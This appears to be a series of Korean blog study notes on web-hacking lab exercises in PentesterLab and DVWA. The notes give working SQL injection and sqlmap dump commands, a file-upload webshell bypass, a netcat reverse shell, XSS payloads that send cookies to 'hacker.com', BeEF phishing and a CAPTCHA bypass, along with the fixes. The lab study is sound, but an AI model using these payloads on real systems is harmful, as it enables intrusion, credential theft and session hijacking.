실습용 웹사이트 구성을 위해 VirtualBox에 추가해주겠다

 

https://pentesterlab.com/

 

PentesterLab: Learn Web Penetration Testing: The Right Way

“PentesterLab is an awesome resource to get hands-on, especially for newbies in web penetration testing or pentesting in general. It gives insights to possible web security flaws, their behavior and approaches that can be taken to exploit them. More of,

pentesterlab.com

홈페이지로 가서 exercises 탭을 눌러준 뒤

From SQL Injection to Shell을 다운받아준다

 

다운받은 iso 파일을 virtualbox에 추가해준다

 

그 후 콘솔에 ip addr 쳐서 ip주소를 알아낸다 192.168. 으로 시작하는 것임

 

칼리리눅스로 돌아와서 버프스위트를 킨 다음 그 아이피주소로 접속하면 접속이 된다

 

웹해킹을 할 때에는 여기저기 둘러보면서 정보 수집하는 것

 

버프스위트의 Target 메뉴를 보면 방문했던 페이지들이 나옴

 

위 메뉴 누를 때마다 주소창의 id 파라미터값만 변하게 된다

 

admin 메뉴를 눌렀을 때 id, password 입력창이 나오고

 

이곳을 통해 관리자페이지로 접근해야한다

 

자 SQL Injection 공격이 먼저 먹히는지 실험해보자

 

나의 경우는 할당받은 아이피가 192.168.56.102 이다

 

192.168.56.102/cat.php?id=' 이렇게 입력해주면

 

바로 오류창이 뜬다 이러면 거의 sql공격에 취약하다고 볼 수 있다

 

sqlmap을 키고

 

sqlmap -u "192.168.56.102/cat.php?id=1"

 

이 사이트는 dvwa와 달리 로그인하지 않고도 test url에 접근할 수 있기 때문에 쿠키옵션 설정할 필요가 없다

 

자 실행해주면

 

이 사이트는 MySQL를 사용하는 것 같다고 하고

 

SQL Injection 공격과 XSS공격이 먹힐 것 같다고 한다

 

한번 주소창에 

 

192.168.56.102/cat.php?id=<script>alert(1)</script> 라고 쳐보면 1 이라고 출력되는 것을 볼 수 있다

 

최종적으로 파라미터 id가 취약하다고 한다

 

sqlmap -u "192.168.56.102/cat.php?id=1" --current-db 로 db 이름을 알아내자

 

현재 db이름은 photoblog 라고 알려주고 있다

 

sqlmap -u "192.168.56.102/cat.php?id=1" -D photoblog --dump 를 해주자

 

이제 보면 users 테이블을 찾아냈고

 

id가 admin 이고 패스워드인 해시값과 크랙된 값 또한 나와있다

 

이제 이 값을 admin탭에 가서 로그인 해주면 로그인이 성공적으로 된다

 

이제 관리자 메뉴에서 New picture 탭을 가면 딱 봐도 파일업로드 공격하고싶게 생긴 페이지가 나온다

 

제목은 webshell에 예전에 썼던 webshell.php 파일을 가져오게 되면 no php 라고 뜬다

 

파일 확장자를 확인하는 것은 파일이름을 변경하는 것만으로도 확인할 수 있다

 

cp webshell.php webshell.pHP 이런식으로 변경해보겠다

 

이렇게 하니 업로드에 성공하였다

 

그리고 페이지소스를 보니

 

이미지소스로 불러왔던 php를 불러오고있다 여기서 경로가 나오는데 이 경로로 접속해보겠다

 

192.168.56.102/admin/uploads/webshell.pHP

 

접속하면 웹쉘에 접근할 수 있게 되었다

 

cat /etc/passwd 를 해주면 passwd 정보를 출력하게 된다

 

웹쉘에서 리버스쉘이라고 하는 기법을 사용할 것인데 터미널을 이용해서 명령을 내릴 수 있도록 해보겠다

 

nc는 netcat이라고 하는데 모의해킹에서 상당히 자주 쓰이는 프로그램

 

nc -lvnp 4000 을 치고 엔터해주자

 

l은 listening mod로 서버로 동작하게 해주는 옵션

 

v는 각종 로그들을 출력

 

n은 ip주소를 숫자로 사용할 때 쓰는 옵션

 

p는 포트의 넘버를 적어주는 것

 

자 웹쉘로 돌아가서 nc 192.168.56.101 4000 -e /bin/sh

 

이 때 아이피주소는 칼리리눅스 아이피주소이고 -e라는 옵션으로 쉘을 열어줄 수 있다

 

이렇게 하면 커넥션이 생성된다

 

id라는 명령어를 실행해보면 어떤 사용자 아이디로 웹애플리케이션이 실행되는지 알 수 있다

 

이때는 www data라는 일반사용자 권한으로 실행되고 있는데 시스템의 다른 취약점을 찾아서 권한상승을 통해 root 권한을 얻어낼 수 있다

 

uname -a 하면 시스템의 커널 버전을 알 수 있다

 

pwd로 현재위치를 파악 하고 ls -al로 어떤 파일들이 있는지 알 수 있다

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(10)  (0) 2021.09.17
공부(9)  (0) 2021.09.17
공부(8)  (0) 2021.09.17
공부(7)  (0) 2021.09.16
공부(6)  (0) 2021.09.16

크로스사이트스크립팅(XSS) 공격

 

자바 스크립트

 

웹 애플리케이션에서 사용되는 언어

 

HTML: 텍스트, 이미지 등 정적인 내용을 표시

자바스크립트 : 동적인 기능 구현(ex. 마우스를 가져가면 메뉴의 색깔이 변함)

 

<script>스크립트 코드</script>와 같이 구현

<script>document.location='http://hacker.com/cookie?' +

document.cookie</script>

<script src=http://hacker.com/bad.js></script>

 

XSS공격

 

클라이언트 쪽의 웹브라우저를 공격하는 기법

<script>와 같은 입력값이 그대로 웹페이지에 표시되면 위험

자바스크립트를 이용해 세션쿠키를 탈취

 

Reflected XSS 공격

이메일로 먼저 피싱을 함 이링크에는 세션쿠키를 빼내는 스크립트를 담아둠

스크립트코드가 삽입된 요청 전송

그러면 스크립트가 반사가 되면서 스크립트 실행이되고 세션쿠키를 해커에게 주고 해커는 세션쿠키를 이용하여 사용자 권한으로 접속

 

Stored XSS공격

해커가 방명록같은 곳에 스크립트를 삽입

이후 아무것도 모르는 사용자가 방명록을 작성하면서 해커가 작성한 글을 보게 됨

이때 스크립트 코드가 사용자에게 전달되고 웹브라우저는 자동으로 실행

이후 세션쿠키를 해커에게 주고 해커는 그 세션쿠키로 사용자 권한으로 접속

 

실습으로 들어가서

 

이름을 입력하라고 하는데 아무거나 입력하면 Hello 이름 이런식으로 나온다

 

XSS에 취약한지 알고싶다면

 

<script>alert(1)</script> 이런식으로 입력해본다

 

취약점이 있다면 1이 출력이 된다

 

<script>alert(document.cookie)</script> 하면 쿠키값을 보여준다

 

<script>document.location='http://127.0.0.1/

cookie?' + document.cookie</script>

 

이런식으로 사용할 수 있다

 

다시 돌아와서 이름에 alice라고 쳐본다

 

그러면 위 주소창에서 name=alice 이런식으로 뜬다

 

name뒤의 이름부분에 스크립트를 집어넣어서 개인정보를 탈취할 수 있다

 

Stored XSS을 보자

 

여기는 방명록이 있는데 길이 제한이 있다

 

textarea를 눌러 inspect element를 해주자

 

max length를 50이 아닌 한 500정도로 늘려주고

 

<script>document.location='http://127.0.0.1/

cookie?' + document.cookie</script> 을 입력해보자

 

바로 쿠키가 해커호스트에게 넘어가게된다

 

BeEF 프레임워크

 

로그인을 해주자 초기 아이디 비번은 beef

 

Hook을 이용하라고 하는데 Hook아래 Example의 스크립트코드를 복사해주고 dvwa에 붙혀넣어주자

 

그럼 beef 홈페이지에 갱신이 되고 여러가지 정보들이 나온다

 

커맨드 메뉴로 간 뒤에 pretty theft로 가서 excute해주면

 

dvwa에서 페이스북 로그인 창이 뜨게 되는데 그곳에 입력한 정보를 가져올 수 있게 된다

 

medium 단계

 

<script>alert(1)</script> 를 입력하니 스크립트는 실행이 안되고 문자만 출력이 된다

 

소스를 보니 str_replace 로 <script>를 지워주는 것을 볼 수 있었다

 

하지만 이것의 허점은 소문자만 지워주는 것이다

 

대문자로 해주니 스크립트가 실행이 된다

 

<scr<script>ipt>alert(1)</script> 이런 형태 또한 가능하다

 

high 단계

 

위의 방법이 먹히지 않는다

 

소스코드를 보자

 

소스코드를 보니 정규식을 이용해서 대소문자를 구분하고 각 문자 사이의 시도되는 우회공격도 방어하고 있다

 

이 방법은 단순히 스크립트 공격만 먹히지 않으므로 html 태그를 이용하는 방법을 사용해 볼 수 있다

 

<img src=x onerror=window.location.assign("http://127.0.0.1/hacked.php")>

 

<svg onload=window.location.assign("http://127.0.0.1/hacked.php")>

 

주소창만 바꾼다면 그 주소로 원하는 값을 얻어낼 수 있을 것이다

 

impossible 단계

 

소스를 보면 htmlspecialchars를 사용하고 있다

 

php document를 보면 &, ", ', <, > 가 &lt &gt 이런식으로 변하는 것을 볼 수 있는데

 

이것은 특수문자를 화면으로 그대로 출력하되 그 기능들은 못이용하게 하는 것이다

 

 

 

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(11)  (0) 2021.09.18
공부(9)  (0) 2021.09.17
공부(8)  (0) 2021.09.17
공부(7)  (0) 2021.09.16
공부(6)  (0) 2021.09.16

SQL 인젝션 공격

 

데이터베이스에 전송되는 SQL 쿼리문을 조작하여,

데이터를 변조하거나 허가되지 않은 정보에 접근

 

예전부터 최근까지 꾸준하게 사용

 

ID=1' or '1'='1

 

SELECT name, email FROM users WHERE ID = '1' or '1'='1'

 

ID = 1' union select name,pw from users# (#뒤에 있는 것들은 주석처리)

 

SELECT name, email FROM users WHERE ID='1' union select name,pw from users#'

 

이렇게 되면 모든 사용자의 이름과 비밀번호를 리턴하게 된다

 

SQL 인젝션에 취악한지 어떻게 알아보냐면 작은따옴표(')를 넣어보면 된다 -> SQL에러가 나오게 된다

 

왜 에러가 나오게 되느냐 하면

 

user_id = '$id'; 로 되어있는데 작음따옴표가 2개로 열고 닫고가 완료되었는데 추가로 들어가서 3개가 되므로 에러가 출력된다

 

1' or '1' = '1 을 입력하면 모든 정보가 출력이 된다

 

즉 조건문을 항상 참이 되게 만들어줌으로써 id가 1이라는 것과 상관없이 모든 정보가 출력되게 했다

 

칼럼갯수 알아내기

 

1' union select 1 # 을 입력했더니 에러가 발생한다

 

1' union select 1,1 # 을 쳤더니 합집합의 결과로 나온다

 

이전 select 칼럼이 2개가 사용되었음을 알 수 있다

 

이것 말고도 ORDER BY로 알아낼 수 있다

 

1' order by 1 # 하면 결과값이 출력된다

 

1' order by 2 # 이런식으로 1씩 증가시켜 에러나올때까지 카운트해주면 칼럼이 몇개인지 알 수 있다

 

union으로 갯수를 찾을 때에는 정확한 값을 입력해야 알 수 있지만

 

orderby는 입력한 값보다 큰지 작은지 알 수 있기 때문에 더 빠르게 찾아낼 수 있다

 

데이터베이스 명 조회하려면

 

1' union select schema_name,1 from information_schema.schemata #

 

하면 결과로 모든 데이터베이스 이름들이 출력된다

 

dvwa 데이터베이스의 테이블 명 조회는

 

1' union select table_schema, table_name from information_schema.tables where table_schema = 'dvwa' #

 

users 테이블 칼럼 조회는

 

1' union select table_name, column_name from information_schema.columns where table_schema = 'dvwa' and table_name = 'users'#

 

이제 여기서 패스워드 값을 users 에서 가져오려면

 

1' union select user,password from users#

 

하면 first name 에는 아이디가 surname에 비밀번호가 출력된다

 

그런데 패스워드가 평문이 아닌 해시값의 형태로 저장되어있다

 

하지만 여기서는 보안에 취약한 MD5라는 해시값을 사용한다

 

이 해시값을 구글에 검색하면 해석된 값을 얻을 수 있다

 

블라인드 SQL 인젝션

 

SQL Injection(Blind)는 단순히 그 아이디가 존재하는지 안하는지만 알려준다

 

'을 넣어줘도 특별한 에러가 나오진 않는다

 

1' AND 1 = 1# 하면 존재한다고 나오고

 

1' AND 1 = 2# 하면 찾을 수 없다고 나온다

 

즉 이것은

 

SELECT user FROM users WHERE id ='1' AND 1 = 1# 이므로 참인 경우라 존재한다고 나온것이고

 

SELECT user FROM users WHERE id ='1' AND 2 = 1# 인 경우는 거짓이라 찾을 수 없다고 나온 것이다

 

1' AND sleep(5)# 와 같이 사용할 수 있다 1이 있다면 5초후 출력될 것이고 없다면 바로 출력될 것이다

 

SQLMAP 프로그램

 

Applications의 web 에서 SQLMAP을 실행한다

 

-u는 공격할 url 주소를 설정해주어야한다

 

1을 치고 실행한 그 주소값을 가져와준다

 

그리고 f12를 눌러 콘솔에 document.cookie 를 쳐서 쿠키값도 알아낸다

 

sqlmap -u "주소" --cookie="쿠키" 

 

하면 id 파라미터 값으로 AND boolean-based blind 공격이 가능할 것 같다고 메세지가 온다

 

그리고 백엔드에 사용되는 DB가 MySQL이라는 것도 알아냈다

 

최종적으로 AND boolean-based blind 공격과 AND/OR time-based blind 공격이 가능하다고 알려주고 있다

 

웹서버 개발 버전 등등 정보들을 알려준다

 

sqlmap -u "주소" --cookie="쿠키" --current-db 하면 db이름을 알려주고

 

sqlmap -u "주소" --cookie="쿠키" -D dvwa --table 하면 table들을 알려준다

 

sqlmap -u "주소" --cookie="쿠키" -D dvwa -T Users --dump 를 하게 되면 Users의 정보들이 모두 나오게 된다

 

medium 단계에서는 폼형태가 아니라 정해진 값을 선택되게 되어있다

 

버프스위트 인터셉트를 키도록 한다

 

인터셉트에서 1' or '1'=1 을 해줘서 포워드를 해주었더니 에러가 나온다

 

뷰소스로 소스를 보니 이번에는 id 에 작은따옴표가 없고 그냥 id 라고 되어있다

 

1 or 1=1 해주고 포워드 해주면 다른정보들도 다 같이 나오게 된다

 

union도 되는지 보자

 

1 union select user,password from users# 

 

해주고 포워드 해주니 유저아이디와 패스워드가 잘 출력이 된다

 

high단계를 보면

 

링크가 하나있고 클릭하면 입력하는 폼 하나가 나오는데 이 폼에 검색을 하면 원래 페이지에 표시되는 방식이다

 

소스를 보니 LIMIT키워드로 출력되는 레코드 수를 조절하고 있다

 

무조건 하나만 출력되게 되어있다

 

하지만 이것 역시 SQL인젝션 방어용도로는 아무 의미 없다

 

id 뒤에 주석처리 해버리면 되기 때문이다

 

1' or '1' = 1 # 해주면 값들이 출력됨을 볼 수 있다

 

1' union select user,password from users# 즉 union도 정상적으로 출력이 된다

 

impossible 단계를 보자

 

먼저 하는게 id값을 받아오고 그 id값이 숫자인지 확인하는 것

 

입력값을 확실히 검증해주는 것

 

필요한 데이터 형식을 정확히 검사해주는 것이 중요 (숫자가 맞는지, 문자가 맞는지)

 

low ~ high 단계는 동적 쿼리이고 impossible 단계는 파라미터 쿼리이다

 

파라미터 쿼리는 미리 쿼리문의 형태를 작성해 두게 된다

 

id부분만 bindparam으로 지정해주는데 이렇게 하면 DB는 어떤게 코드이고 어떤게 데이터인지 정확히 알 수 있게 된다

 

 

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(11)  (0) 2021.09.18
공부(10)  (0) 2021.09.17
공부(8)  (0) 2021.09.17
공부(7)  (0) 2021.09.16
공부(6)  (0) 2021.09.16

CAPTHCA공격

 

비밀번호 변경 시 2단계를 거침

1. CAPTCHA 확인

2. 확인 완료 비밀번호 변경

 

여기서 제대로 안되어있으면 해커가 확인한 것처럼 꾸미고 2만 할 수 있다

 

패스워드를 normal normal 해주고 버프스위트로 보게되면

 

step 은 1이고 password_new값과 password_conf 값 그리고 랜덤으로 정해지는 g_recaptcha-response값이 나온다

 

한번더 change를 눌러주니 step이 2로 변하게 된다

 

여기서 첫번째 요청은 생략하고 두번째 요청만 보내면 어떻게 될 것인가

 

버프스위트의 리피터 기능을 이용하면 된다

 

2번째 요청을 리피터로 보내주고 리피터에서 패스워드만 변경해주고 Go를 해주면 변경된다

 

확인을 위해 Response의 Render를 봐보면 제대로 된 것을 볼 수 있다

 

medium 단계를 봐보자

 

passed_captcha가 추가되었다 captcha를 제대로 입력했는지 확인하려고 한것같은데

 

똑같이 리피터로 보내고 변경하고 랜더를 확인해보면 정상적으로 변경되었음을 알 수 있다

 

high 단계

 

이번에는 user_token이 추가되었고 두단계가 아닌 한단계로 이루어져있다

 

소스코드를 봐보자 if 문 resp 쪽을 보면 || or연산이 있다 ( && 모든 조건이 참일 때 참, || 둘 중 하나만 참이여도 참)

 

즉, captcha를 거치지 않고

 

g-recaptcha-response 부분이 hidd3n_valu3 이고

 

User-Agent의 헤더부분이 reCAPTCHA가 된다면 참이된다

 

리피터에서 실습을 해보자

 

User-Agent : 부분 내용을 지워주고 reCAPTCHA 적어주고

 

g-recaptcha-response=hidd3n_valu3 을 적어준다

 

그리고 변경해주면 변경됨을 볼 수 있다

 

impossible 단계를 보자

 

디버깅된 코드가 없어졌다

 

csrf 실습과 마찬가지로 현재 패스워드 입력란이 생기게 하여 보안을 강화하였다

'Hacking > 웹 해킹' 카테고리의 다른 글

공부(10)  (0) 2021.09.17
공부(9)  (0) 2021.09.17
공부(7)  (0) 2021.09.16
공부(6)  (0) 2021.09.16
공부(5)  (0) 2021.09.16

+ Recent posts